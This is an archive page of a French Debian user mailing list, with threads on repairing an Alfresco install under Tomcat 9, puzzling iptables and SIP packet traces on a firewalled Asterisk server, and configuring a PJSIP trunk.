org.alfresco.repo.security.permissions.impl.ExceptionTranslatorMethodInterceptor.invoke(ExceptionTranslatorMethodInterceptor.java:57)

JB



Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-06 Thread BERTRAND Joël
didier gaumet a écrit :
> Mais ceci étant, le lien -bien qu'extrait du site Alfresco- que je t'ai
> indiqué semble justement expliquer comment installer et configurer
> *Tomcat* pour le bon fonctionnement d'Alfresco, entre autres les
> chemins, mais pas seulement
> 
> Mais bon, j'ai peut-être rien compris, hein :-)

Mais si, mais si... Mais le problème n'est pas exactement là. Ce ne
sont pas les classes qui ne sont pas trouvées, mais le fait que ces
classes appellent des scripts et des binaires dans le /bin local
d'alfresco. Et tomcat cherche ces bouts de code dans $CATALINA_HOME et
$CATALINA_BASE. Avant la mise à jour de tomcat, j'avais rusé en collant
l'une des deux variables vers la racine d'installation d'alfresco, ce
qui ne fonctionne plus aujourd'hui.

En d'autres termes, toutes les classes sont bien trouvées, ce sont les
programmes annexes qui manquent à l'appel.



Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-05 Thread BERTRAND Joël
didier gaumet a écrit :
> Avertissement: si je n'ai pas répondu à ton précédent message c'est que
> je suis totalement inculte sur le sujet
> 
> Y a un paragraphe de la doc Alfresco qui a l'air de s'intéresser aux
> aspects du problème qui t'intéresse (regarde à "classpath"):
> https://docs.alfresco.com/content-services/7.2/install/zip/tomcat/#install-application-server
> 
> 
> désolé si ça ne répond pas à la question tel que tu l'espérais: vu mon
> niveau j'en suis réduit aux conjectures, hein...

Merci de t'être penché sur le sujet. J'avance de mon côté et il y a
plusieurs problèmes qui se superposent. J'ai réussi à relancer Alfresco,
mais il est bancal. J'essayerai de faire une réponse avec la résolution,
mais le problème est côté Tomcat, pas côté Alfresco.



Re: Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-05 Thread BERTRAND Joël
Bonsoir à tous,

Trouvé... Enfin, j'ai trouvé le fautif, mais je ne sais pas trop
comment résoudre le problème.

J'avais galéré pour installer Alfresco et j'avais utilisé la variable

CATALINA_BASE=/opt/alfresco

dans /etc/default/tomcat9. Ça fonctionnait très bien. Sauf que depuis la
dernière mise à jour de tomcat9, ça ne fonctionne plus correctement.
J'ai retiré la variable en question et j'arrive à lancer tomcat sur la
machine.

J'essaie donc de modifier les contexts de tomcat pour réussir à lancer
alfresco en rajoutant un path. Rien n'y fait.

J'ai par exemple ceci :



  

  


Comment rajouter le path là-dedans ? J'ai bien tenté un



  

  


qui renvoie :
GRAVE: Erreur lors du déploiement du descripteur de configuration
[/etc/tomcat9/Catalina/localhost/alfresco.xml]
java.lang.IllegalStateException: Erreur lors du démarrage du conteneur fils
Caused by: org.apache.catalina.LifecycleException: Echec de démarrage du
composant [org.apache.catalina.webresources.StandardRoot@d91e8c7]
at
org.apache.catalina.util.LifecycleBase.handleSubClassException(LifecycleBase.java:440)
at
org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:198)
at
org.apache.catalina.core.StandardContext.resourcesStart(StandardContext.java:4881)
at
org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5014)
at
org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:183)
at
org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:726)
... 37 more
Caused by: java.lang.IllegalArgumentException: L'ensemble de ressources
principal [/var/lib/tomcat9/webapps/alfresco] est invalide
at
org.apache.catalina.webresources.StandardRoot.createMainResourceSet(StandardRoot.java:777)
at
org.apache.catalina.webresources.StandardRoot.startInternal(StandardRoot.java:734)
at
org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:183)
... 41 more

juil. 05, 2023 6:27:56 PM org.apache.catalina.startup.HostConfig
deployDescriptor

Merci de toute idée...

Bien cordialement,

JB



Connexion impossible sur Tomcat 9 depuis une mise à jour récente

2023-07-04 Thread BERTRAND Joël
Bonjour à tous,

Désolé de polluer comme ça la liste depuis hier, mais je galère sur une
mise à jour de serveur à la suite d'un déménagement d'infrastructure...

J'ai installé il y a plusieurs années un serveur Alfresco, tout d'abord
en version 6.0 puis en version 6.1. Initialement, il tournait avec
Tomcat8 et au fur et à mesure des mises à jour Tomcat9.

J'ai eu beaucoup de mal à avoir un système fonctionnel. Une fois la
configuration faite, je n'y ai plus touché.

Récemment, j'ai fait un dist-upgrade après le percement de sites SPIP.
Depuis, alfresco ne fonctionne plus et j'ai l'impression que le problème
se situe au niveau de Tomcat. Apache, je maîtrise, mais les machins
autour de Java ne sont pas ma tasse de thé.

La configuration de tomcat (que je peux fournir) n'a pas changé. J'ai
naturellement vérifié sur les sauvegardes avec un diff -u.

J'ai l'impression que Tomcat se lance correctement. Un processus Java
mouline durant une minute, le fichier catalina.out semble indiquer que
tout se passe correctement. Seul le connecteur entre Alfresco et
Libreoffice râle si je ne le tue pas à la main avant de relancer Tomcat.

Sauf que je ne peux même pas me connecter sur localhost:8080 pour
interroger directement Tomcat. Pas d'erreur, la requête termine en
timeout. Tomcat semble pourtant commencer à répondre puisqu'il y a des
paquets qui transitent sur le port 8080.

10:38:14.805214 IP legendre.systella.fr.60864 >
rayleigh.systella.fr.http-alt: Flags [.], ack 1, win 4480, options
[nop,nop,TS val 1 ecr 279451], length 0
10:38:14.805471 IP legendre.systella.fr.60864 >
rayleigh.systella.fr.http-alt: Flags [P.], seq 1:469, ack 1, win 4480,
options [nop,nop,TS val 1 ecr 279451], length 468: HTTP: GET / HTTP/1.1
10:38:14.805511 IP rayleigh.systella.fr.http-alt >
legendre.systella.fr.60864: Flags [.], ack 469, win 253, options
[nop,nop,TS val 279452 ecr 1], length 0
^C

J'ai bien mon processus qui tourne :

Root rayleigh:[/etc/tomcat9] > ps auwx | grep tomcat
tomcat   18743  0.0  0.5 667928 96640 ?Sl   juil.02   0:00
/usr/lib/libreoffice/program/soffice.bin
-accept=socket,host=127.0.0.1,port=2022;urp;
-env:UserInstallation=file:///opt/alfresco/tmp/.jodconverter_socket_host-127.0.0.1_port-2022
-headless -nocrashreport -nodefault -nofirststartwizard -nolockcheck
-nologo -norestore
tomcat   30483  7.7  6.6 10155676 1081020 ?Sl   10:09   2:17
/usr/lib/jvm/default-java/bin/java
-Djava.util.logging.config.file=/opt/alfresco/conf/logging.properties
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djava.awt.headless=true -Djdk.tls.ephemeralDHKeySize=2048
-Djava.protocol.handler.pkgs=org.apache.catalina.webresources
-Dorg.apache.catalina.security.SecurityListener.UMASK=0022
-Dignore.endorsed.dirs= -classpath
/usr/share/tomcat9/bin/bootstrap.jar:/usr/share/tomcat9/bin/tomcat-juli.jar
-Dcatalina.base=/opt/alfresco -Dcatalina.home=/usr/share/tomcat9
-Djava.io.tmpdir=/opt/alfresco/tmp org.apache.catalina.startup.Bootstrap
start

Et le port est bien en écoute :

Root rayleigh:[/etc/tomcat8] > nmap 192.168.1.1
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-04 10:39 CEST
...
8080/tcp open  http-proxy
...

Un autre point me semble étrange :
Root rayleigh:[/opt/alfresco/logs] > grep xml catalina.out
INFOS: Déploiement du descripteur de configuration
[/etc/tomcat9/Catalina/localhost/share.xml]
INFOS: Le traitement du descripteur de déploiement
[/etc/tomcat9/Catalina/localhost/share.xml] a pris [8 087] ms
INFOS: Déploiement du descripteur de configuration
[/etc/tomcat9/Catalina/localhost/manager.xml]
AVERTISSEMENT: L'attribut path avec la valeur [/manager] dans le
descripteur de déploiement [/etc/tomcat9/Catalina/localhost/manager.xml]
a été ignoré
INFOS: Le traitement du descripteur de déploiement
[/etc/tomcat9/Catalina/localhost/manager.xml] a pris [517] ms
INFOS: Déploiement du descripteur de configuration
[/etc/tomcat9/Catalina/localhost/alfresco.xml]

Or j'ai plus de descripteurs dans le configuration de Tomcat :
Root rayleigh:[/etc/tomcat9/Catalina/localhost] > ls
alfresco.xml  docs.xml  host-manager.xml  manager.xml  share.xml  solr.xml

Je n'ai aucune trace de ces descripteurs dans le lancement de tomcat.
Aucune erreur.

Je ne sais plus où chercher et suis preneur de toute idée.

Bien cordialement,

JKB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
> 
> Le 03/07/2023 à 15:12, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Ils n'arrivent jamais plus loin que mangle INPUT qui est avant la table
>>> nat et filter
>> D'accord. Mais dans ce cas, pourquoi sngrep les intercepte ?
> Tout comme iptables et tcpdump, les paquets sont capturés dès leur
> arrivée. sngrep sait lire du pcap. Si tu regardes les trames INVITE tu
> ne devrais voir aucune réponse de ton asterisk

Effectivement, il n'y a aucune réponse.

Merci pour tout,

JB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
> Ils n'arrivent jamais plus loin que mangle INPUT qui est avant la table
> nat et filter

D'accord. Mais dans ce cas, pourquoi sngrep les intercepte ?

JB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Thread BERTRAND Joël
Thomas Trupel a écrit :
> C'est un comportement normal à mes yeux.
> 
> L'ajout d'une règle avec la target TRACE devrait te confirmer que les
> paquets sont bloqués par le firewall.

J'obtiens ceci :

2023-07-03T14:37:45.868470+02:00 rayleigh kernel: [705875.038988] TRACE:
raw:PREROUTING:policy:2 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209
DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF
PROTO=UDP SPT=5256 DPT=5060 LEN=422
2023-07-03T14:37:45.868494+02:00 rayleigh kernel: [705875.039009] TRACE:
mangle:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209
DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF
PROTO=UDP SPT=5256 DPT=5060 LEN=422
2023-07-03T14:37:45.868497+02:00 rayleigh kernel: [705875.039019] TRACE:
nat:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209
DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF
PROTO=UDP SPT=5256 DPT=5060 LEN=422
2023-07-03T14:37:45.868498+02:00 rayleigh kernel: [705875.039035] TRACE:
mangle:INPUT:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=109.248.149.209
DST=192.168.15.18 LEN=442 TOS=0x00 PREC=0x00 TTL=45 ID=10988 DF
PROTO=UDP SPT=5256 DPT=5060 LEN=422
raw:PREROUTING:policy:2 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29
DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP
SPT=38996 DPT=5060 LEN=259
2023-07-03T14:51:17.795018+02:00 rayleigh kernel: [706686.983258] TRACE:
mangle:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29
DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP
SPT=38996 DPT=5060 LEN=259
2023-07-03T14:51:17.795021+02:00 rayleigh kernel: [706686.983268] TRACE:
nat:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29
DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP
SPT=38996 DPT=5060 LEN=259
2023-07-03T14:51:17.795022+02:00 rayleigh kernel: [706686.983282] TRACE:
mangle:INPUT:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=94.102.61.29
DST=192.168.15.18 LEN=279 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=UDP
SPT=38996 DPT=5060 LEN=259
2023-07-03T14:56:40.474426+02:00 rayleigh kernel: [707009.669233] TRACE:
raw:PREROUTING:policy:2 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23
DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP
SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0
OPT (020405A0)
2023-07-03T14:56:40.474447+02:00 rayleigh kernel: [707009.669262] TRACE:
mangle:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23
DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP
SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0
OPT (020405A0)
2023-07-03T14:56:40.474452+02:00 rayleigh kernel: [707009.669274] TRACE:
nat:PREROUTING:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23
DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP
SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0
OPT (020405A0)
2023-07-03T14:56:40.474454+02:00 rayleigh kernel: [707009.669289] TRACE:
mangle:INPUT:policy:1 IN=wan0 OUT=
MAC=50:46:5d:72:ef:a2:60:a4:b7:73:c9:26:08:00 SRC=45.155.91.23
DST=192.168.15.18 LEN=44 TOS=0x00 PREC=0x00 TTL=236 ID=29434 PROTO=TCP
SPT=47506 DPT=5060 SEQ=68748134 ACK=0 WINDOW=1024 RES=0x00 SYN URGP=0
OPT (020405A0)

Où voit-on que ces paquets sont bloqués ?

Bien cordialement,

JKB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Thread BERTRAND Joël
Thomas Trupel a écrit :
> C'est un comportement normal à mes yeux.
> 
> L'ajout d'une règle avec la target TRACE devrait te confirmer que les
> paquets sont bloqués par le firewall.

Dans le cas de SIP, ils sont tout de même récupérés par sngrep :

[ ] 359  INVITE 100@1.1.1.1   100@1.1.1.1
1 64.31.63.27:5166   192.168.15.18:5060 CALL SETUP

donc pas si bloqués que cela ;-)

Bien cordialement,

JKB



Re: Trou dans un firewall (iptables nftable)

2023-07-03 Thread BERTRAND Joël
C'est même pire que ça !

Si je fais un nmap depuis l'extérieur sur le serveur en question,
j'obtiens bien :

legendre# nmap 192.168.15.18
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 14:09 CEST
Nmap scan report for 192.168.15.18
Host is up (0.00078s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE  SERVICE
22/tcp   open   ssh
25/tcp   open   smtp
53/tcp   open   domain
80/tcp   open   http
443/tcp  open   https
465/tcp  closed smtps
587/tcp  open   submission
993/tcp  open   imaps
995/tcp  open   pop3s
2401/tcp closed cvspserver
4443/tcp closed pharos
5222/tcp open   xmpp-client
9418/tcp open   git
MAC Address: 50:46:5D:72:EF:A2 (Asustek Computer)

Nmap done: 1 IP address (1 host up) scanned in 5.01 seconds
legendre#

ce qui semble correspondre aux ports effectivement ouverts. Mais un
tcpdump sur l'interface publique de la machine testée voit bien passer
tous les paquets (pas seulement ceux correspondant ax ports ouverts).

Idem en UDP :
legendre# nmap -sU 192.168.15.18
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-03 14:11 CEST
Nmap scan report for 192.168.15.18
Host is up (0.00053s latency).
Not shown: 997 open|filtered udp ports (no-response)
PORT  STATE  SERVICE
53/udpopen   domain
123/udp   open   ntp
1/udp closed ndmp
MAC Address: 50:46:5D:72:EF:A2 (Asustek Computer)

Nmap done: 1 IP address (1 host up) scanned in 5.81 seconds
legendre#

Lorsque j'utilisais iptables-legacy, je n'ai jamais observé cela. Par
ailleurs, ça n'explique pas que des paquets à destination d'un port
fermé aboutissent bien à mon serveur asterisk...

Bien cordialement,

JKB



Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
Je l'ai...

Il fallait mettre l'IP du serveur dans contact.

Je pense que la doc d'asterisk est parfaite pour quelqu'un qui sait déjà
exactement de quoi il retourne, mais pour quelqu'un qui en est à sa
première installation, c'est un peu galère. Je vais essayer de rédiger
quelque chose pour les débutants.

Merci pour tout.

JB



Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
> 
> Le 03/07/2023 à 12:57, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Le 03/07/2023 à 12:07, BERTRAND Joël a écrit :
>>>> NoSpam a écrit :
>>>>> Stop: n'as tu pas dit que les postes en interne arrivent à s'appeler ?
>>>>> Si c'est le cas, cela veut dire qu'asterisk ne sait pas comment
>>>>> traiter
>>>>> l'appel.
>>>>>
>>>>> 34. No circuit/channel available
>>>>>
>>>>> Renvois STP le context internal
>>>> Je réponds à toutes les questions dans le même mail pour qu'on s'y
>>>> retrouve plus facilement.
>>>>
>>>> [internal]
>>>>   exten => 6001,1,Dial(PJSIP/6001)
>>>>   exten => 6002,1,Dial(PJSIP/6002)
>>>>   exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
>>> Ca c'est OK
>>>>
>>>> rayleigh*CLI> pjsip show endpoint SBSR
>>>> ...
>>>>    Endpoint:  SBSR
>>>> Not in
>>>> use    0 of inf
>>>>   OutAuth:  SBSR_auth/trunk-sip
>>>>   Aor:  SBSR   1
>>>>     Contact:  SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
>>>> NonQual nan
>>>>     Transport:  udp-transport udp  0  0 
>>>> 0.0.0.0:5060
>>>>  Identify:  SBSR/SBSR
>>>>   Match: 37.97.65.186/32
>>> udp-transport  sur port 5060 ? Ca coince déjà ;) Le Contact est
>>> également mauvais, il devrait ressembler à
>>>
>>> SBSR/sip::5070
>>>
>>> Dans [aor] rajoute
>>>
>>> contact=sip::5070
>>>
>>> Identify ne sert à rien puisque tu t'enregistre
>>>
>>> Règle les deux premiers problèmes, cela devrait faire avancer les choses
>> [SBSR]
>>  type=aor
>>  contact=sip:trunk-sip@:5070
>>  max_contacts=1
>>  remove_existing=yes
> 
> Es tu sur que trunk-sip est ton contact chez le provider ? J'ai des
> doutes ... au mieux c'est ton username mais en général pas besoin
> sip:domain:5070 doit suffire. Mets max_contacts=10 pour le moment

Déjà, il y a un point que je ne saisis pas.

La signalisation du trunk SIP se fait en 5070/TCP, mais les paquets RTP
associés sont bien en UDP :

13:38:49.281101 IP rayleigh.systella.fr.17056 > 37.97.65.116.50458: UDP,
length 172
13:38:49.286130 IP 37.97.65.116.50458 > rayleigh.systella.fr.17056: UDP,
length 172

Quand je lance
rayleigh*CLI> pjsip show endpoint SBSR
...
 Endpoint:  SBSR Not in
use0 of inf
OutAuth:  SBSR_auth/trunk-sip
Aor:  SBSR   1
  Contact:  SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
NonQual nan
  Transport:  udp-transport udp  0  0  0.0.0.0:5060
   Identify:  SBSR/SBSR
Match: 37.97.65.186/32

à quoi correspond udp-transport ? À la signalisation (auquel cas on
devrait être en 5070/TCP) ou aux paquets RTP ?

J'ai l'impression qu'il s'agit de la signalisation mais je n'en suis
pas sûr. Je vais tout de même essayer de trouver le moyen de forcer un
transport en TCP sur le port 5070.

Comme identifiant, le fournisseur m'a juste donné trunk-sip@domaine,
rien d'autre.

> pjsip show aors te donnera plus d'infos

rayleigh*CLI> pjsip show aors

  Aor:  

Contact:   
 
==

  Aor:  6001 1
Contact:  6001/sip:6001@192.168.10.253:5060a0a76d4acb
NonQual nan

  Aor:  6002 1
Contact:  6002/sip:6002@192.168.10.250:50616a2a034b2c
NonQual nan

  Aor:  SBSR 1
Contact:  SBSR/sip:trunk-...@systella2.buroticstore.eu 5551fa2b78
NonQual nan


Objects found: 3
rayleigh*CLI> pjsip list transports

Transport:

==

Transport:  tcp-transport tcp  0  0  192.168.15.18:5060
Transport:  udp-transport udp  0  0  0.0.0.0:5060

Objects found: 2

JB



Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
> 
> Le 03/07/2023 à 12:07, BERTRAND Joël a écrit :
>> NoSpam a écrit :
>>> Stop: n'as tu pas dit que les postes en interne arrivent à s'appeler ?
>>> Si c'est le cas, cela veut dire qu'asterisk ne sait pas comment traiter
>>> l'appel.
>>>
>>> 34. No circuit/channel available
>>>
>>> Renvois STP le context internal
>> Je réponds à toutes les questions dans le même mail pour qu'on s'y
>> retrouve plus facilement.
>>
>> [internal]
>>  exten => 6001,1,Dial(PJSIP/6001)
>>  exten => 6002,1,Dial(PJSIP/6002)
>>  exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)
> Ca c'est OK
>>
>>
>> rayleigh*CLI> pjsip show endpoint SBSR
>> ...
>>   Endpoint:  SBSR Not in
>> use    0 of inf
>>  OutAuth:  SBSR_auth/trunk-sip
>>  Aor:  SBSR   1
>>    Contact:  SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
>> NonQual nan
>>    Transport:  udp-transport udp  0  0  0.0.0.0:5060
>>     Identify:  SBSR/SBSR
>>  Match: 37.97.65.186/32
> 
> udp-transport  sur port 5060 ? Ca coince déjà ;) Le Contact est
> également mauvais, il devrait ressembler à
> 
> SBSR/sip::5070
> 
> Dans [aor] rajoute
> 
> contact=sip::5070
> 
> Identify ne sert à rien puisque tu t'enregistre
> 
> Règle les deux premiers problèmes, cela devrait faire avancer les choses

[SBSR]
type=aor
contact=sip:trunk-sip@:5070
max_contacts=1
remove_existing=yes

ne change rien. J'ai toujours après un redémarrage :

  Transport:  udp-transport udp  0  0  0.0.0.0:5060
   Identify:  SBSR/SBSR
Match: 37.97.65.186/32

Je vais continuer à creuser après le repas, il commence à faire faim.

JKB



Trou dans un firewall (iptables nftable)

2023-07-03 Thread BERTRAND Joël
Bonjour à tous,

Je suis en train de configurer (péniblement) un serveur asterisk qui
est dans un DMZ. Tout le flux entrant sur l'IP publique est naté vers ce
serveur, protégé par un firewall iptables et fail2ban. Il s'agit
d'iptables et non d'iptables-legacy.

Cette machine est connectée à deux réseaux : wan0 d'un côté et lan0 de
l'autre.

Ce qui m'inquiète :

Root rayleigh:[/etc/asterisk] > tcpdump -i wan0 -p port 5060
...
12:26:54.145136 IP patient.census.internet-measurement.com.38253 >
rayleigh.systella.fr.sip: Flags [S], seq 3922597779, win 14600, options
[mss 1440], length 0

Là, je ne saisis pas puisque j'ai dans le fichier
/var/lib/iptables/active :

*filter
:INPUT DROP [28:3300]
:FORWARD DROP [0:0]
:OUTPUT DROP [27:3120]
[0:0] -A INPUT -i lo -j ACCEPT
[0:0] -A INPUT -i lan0 -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport ssh -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport smtp -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport domain -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport domain -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport http -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport ntp -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport https -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport ssmtp -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport submission -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport imaps -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport pop3s -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport openvpn -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport openvpn -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport cvspserver -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport cvspserver -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport jabber-client -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport git -j ACCEPT
[0:0] -A INPUT -i wan0 -p icmp -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp --dport 1 -j ACCEPT
[0:0] -A INPUT -i wan0 -p tcp -m tcp --dport 4443 -j ACCEPT
[0:0] -A INPUT -i wan0 -p udp -m udp -s 37.97.65.0/24 -j ACCEPT
[0:0] -A INPUT -i wan0 -s ns6-axfr.gandi.net -j ACCEPT
[0:0] -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
[0:0] -A INPUT -m state --state INVALID -j DROP
[0:0] -A OUTPUT -o lo -j ACCEPT
[0:0] -A OUTPUT -o lan0 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport ftp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport ssh -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport telnet -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport smtp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport whois -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport domain -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport domain -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport gopher -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport http -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport pop3 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport nntp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport ntp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport snmp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport snmp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport snmp-trap -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport snmp-trap -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport https -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport rtsp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport pop3s -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport openvpn -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --sport 1195 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport cvspserver -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --dport cvspserver -j ACCEPT
[1:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport 3128 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport mysql -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport subversion -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport postgresql -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport http-alt -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp --dport git -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p icmp -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp --sport 1 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p tcp -m tcp -d 37.97.65.186 --dport 5070 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -p udp -m udp -d 37.97.65.0/24 -j ACCEPT
[0:0] -A OUTPUT -o wan0 -d ns6-axfr.gandi.net -j ACCEPT
[0:0] -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
[0:0] -A OUTPUT -m state --state INVALID -j DROP

La table mangle est utilisée pour la QoS. Comment se fait-il qu'un
paquet sur le port 5060/UDP puisse être envoyé à mon serveur sans qu'il
ne soit jeté ? Il n'y a pas de conntrack-sip chargé...

Bien cordialement,

JKB



Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
> Je me suis mal exprimé: le SPA arrive bien à appeler les autres postes
> ou l'écho test d'Asterisk (extension 600 par défaut si activer) ?
> 
> Si oui, le problème est au niveau d'asterisk, vois mon dernier courriel.

Il n'y a que des SPA et ils peuvent tous s'appeler entre eux (grâce aux
numéros enregistrés dans extensions.conf allant de 6001 à 6008).



Re: Configuration asterisk

2023-07-03 Thread BERTRAND Joël
NoSpam a écrit :
> Stop: n'as tu pas dit que les postes en interne arrivent à s'appeler ?
> Si c'est le cas, cela veut dire qu'asterisk ne sait pas comment traiter
> l'appel.
> 
> 34. No circuit/channel available
> 
> Renvois STP le context internal

Je réponds à toutes les questions dans le même mail pour qu'on s'y
retrouve plus facilement.

[internal]
exten => 6001,1,Dial(PJSIP/6001)
exten => 6002,1,Dial(PJSIP/6002)
exten => _00[1-79],1,Dial(PJSIP/${EXTEN:1}@SBSR)


rayleigh*CLI> pjsip show endpoint SBSR
...
 Endpoint:  SBSR Not in
use0 of inf
OutAuth:  SBSR_auth/trunk-sip
Aor:  SBSR   1
  Contact:  SBSR/sip:trunk-sip@systella2.buroticstore. 5551fa2b78
NonQual nan
